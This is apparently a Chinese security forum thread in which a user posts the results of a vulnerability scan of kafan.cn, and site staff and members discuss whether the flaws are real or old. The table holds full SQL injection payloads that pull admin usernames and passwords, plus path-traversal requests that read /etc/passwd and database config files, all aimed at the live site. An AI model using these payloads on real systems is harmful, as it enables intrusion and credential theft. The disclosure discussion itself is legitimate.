用北极熊扫描发现kafan.cn有多个漏洞。

ELOHIM

www.kafan.cn 和 bbs.kafan.cn 分别具有多个漏洞。
不知道是否可以被恶意利用。
是否可修复。
扫描过后，本地IP被封，卡饭不能访问。
扫描过程应该具有攻击行为。
但是发现十数个漏洞是否需要修复呢？

-------------------------------------------------

ID	漏洞地址	来自脚本
1	http://www.kafan.cn/index.php?q=xxoo’union select 1,uname,upass from appcms_admin_list where uid like ‘	appcms.txt
2	http://www.kafan.cn/forum.php?mod=attachment&findpost=ss&aid=1	Discuz.txt
3	http://www.kafan.cn/home.php?mod=space&uid=4&do=profile	Discuz.txt
4	http://www.kafan.cn/index.php?ac=search&at=taglist&tagkey=%2527,tags) or(select 1 from(select count(*),concat((select (select concat(0x7e,0×27,table_name,0×27,0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x f	espcms.txt
5	http://www.kafan.cn/index.php?ac=search&at=taglist&tagkey=%2527,tags) or(select 1 from(select count(*),concat((select (select concat(0x7e,0×27,username,0×27,0x7e)) from 前缀_admin_member limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x	espcms.txt
6	http://www.kafan.cn/index.php?ac=search&at=taglist&tagkey=%2527,tags) or(select 1 from(select count(*),concat((select (select concat(0x7e,0×27,password,0×27,0x7e)) from 前缀_admin_member limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x	espcms.txt
7	http://www.kafan.cn/api.php?op=ajax_domain&url=/etc/passwd	phpcms.txt
8	http://www.kafan.cn/api.php?op=ajax_domain&url=caches/configs/system.php	phpcms.txt
9	http://www.kafan.cn/api.php?op=ajax_domain&url=phpsso_server/caches/configs/uc_config.php	phpcms.txt
10	http://www.kafan.cn/api.php?op=add_favorite&url=wooyun.in&title=%2527	phpcms.txt
11	http://www.kafan.cn/index.php?m=admin&c=index&a=login&pc_hash=MUPmkU	phpcms.txt
12	http://www.kafan.cn/index.php?m=search&c=index&a=public_get_suggest_keyword&url=asdf&q=../../phpsso_server/caches/configs/database.php	phpcms.txt
13	http://www.kafan.cn/index.php?m=search&c=index&a=public_get_suggest_keyword&url=asdf&q=../../caches/configs/database.php	phpcms.txt
14	http://www.kafan.cn/index.php?m=member&c=index&a=register&siteid=1	phpcms.txt
15	http://www.kafan.cn/robots.txt	phpcms.txt
16	http://www.kafan.cn/api.php?op=add_favorite&url=v9&title=%2527%2520and%2520%2528select%25201%2520from%2528select%2520count%2528%252a%2529%252Cconcat%2528%2528select%2520%2528select%2520%2528select%2520concat%25280x23%252Ccast%2528concat%2528username%252C0x3a%	phpcms.txt
17	http://www.kafan.cn/index.php?showbrandid=0′ AND (SELECT 1 FROM (SELECT count( * ) , concat((SELECT concat( 0×23, user, 0x7e,password, 0×23 ) FROM dev_base_admin limit 0,1),floor( rand( 0 ) *2 ))x FROM information_schema.tables GROUP BY x)a)–%20	phpweb.txt
18	http://www.kafan.cn/index.php?comment-822′/**/and/**/’1′=’1-ask-commentlist.html	shopex.txt

huihui458

@theone

ctrlz2z

迷之怕怕

边缘vip

应该说除非放弃DZ，毕竟DZ不更新很久了

衣饭卡

这些都是通用漏洞吧  

theone

感谢，除了2和3，其他好像不是discuz的。
2，3对照查了下，好像是老版本较早之前的漏洞。

ELOHIM

theone 发表于 2015-12-11 23:27
感谢，除了2和3，其他好像不是discuz的。
2，3对照查了下，好像是老版本较早之前的漏洞。

不客气。

詩、未詺

select 1,uname,upass
from appcms_admin_list
where uid like ''

ELOHIM

詩、未詺 发表于 2015-12-12 11:55
select 1,uname,upass
from appcms_admin_list
where uid like ''

这是很老的SQL注入吗？

ELOHIM

詩、未詺 发表于 2015-12-12 11:55
select 1,uname,upass
from appcms_admin_list
where uid like ''

请问这个是SQL注入吗？？